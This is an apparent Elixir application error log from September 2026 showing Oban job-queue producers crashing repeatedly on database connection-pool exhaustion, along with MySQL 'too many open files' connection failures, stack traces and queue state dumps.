[Sun Sep  6 00:14:02.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1041ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:13:50.239279Z], limit: 5, uuid: "dcdb6643-39ad-415c-bfc2-7fec36221ace", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:50.239284Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.167321>, refresh_timer: #Reference<0.2525715032.1121189889.167299>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1018ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:13:50.239501Z], limit: 20, uuid: "284a7245-6176-4984-bda6-e3c0ec1fecca", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:50.239507Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.167325>, refresh_timer: #Reference<0.2525715032.1068498948.51121>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:02.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:13:50.240820Z], limit: 5, uuid: "ea46a0f7-44b5-43b3-90dd-9f08f9fd703c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:50.240825Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.167320>, refresh_timer: #Reference<0.2525715032.1121189889.167312>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:03.993000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:04.417000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:05.179000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:05.987000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:08.751000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:12.237000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:13.163000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:13.173000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:14:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:14:02.241507Z], limit: 5, uuid: "bc226168-dcc2-43d7-8e3a-71d7413001f5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:02.241512Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.51248>, refresh_timer: #Reference<0.2525715032.1068498948.51236>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1887ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:14:02.241472Z], limit: 10, uuid: "6d94a466-be2b-4902-9ce6-4298ce514b58", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:02.241478Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.167666>, refresh_timer: #Reference<0.2525715032.1077673987.28936>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1803ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:14:02.240444Z], limit: 3, uuid: "34dcec92-2d3d-4361-936a-6b5de72988c2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:02.240450Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.167668>, refresh_timer: #Reference<0.2525715032.1068498948.51197>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2025ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:14:02.245966Z], limit: 50, uuid: "51029d62-4877-48b0-b83e-b59e541ca67f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:02.245972Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.167667>, refresh_timer: #Reference<0.2525715032.1077673987.28945>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:15.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:14:02.241140Z], limit: 20, uuid: "4790f7dc-aefe-4160-9a9e-83e1a86fa32d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:14:02.241145Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.51247>, refresh_timer: #Reference<0.2525715032.1068498948.51222>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:14:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2033ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
